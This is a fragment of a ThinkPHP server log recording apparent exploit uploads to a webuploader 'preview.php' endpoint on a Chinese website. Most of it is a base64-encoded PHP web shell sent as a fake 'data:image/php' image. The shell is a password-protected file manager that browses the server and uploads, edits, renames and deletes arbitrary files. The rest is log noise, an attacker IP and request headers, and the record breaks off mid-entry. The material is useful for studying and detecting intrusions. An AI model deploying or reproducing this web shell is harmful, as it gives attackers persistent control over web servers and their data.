'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:17+08:00 ] 116.213.36.234 POST 51tianwei.com/public/js/webuploader/0.1.15/server/preview.php [运行时间:0.002618s] [吞吐率:381.96req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 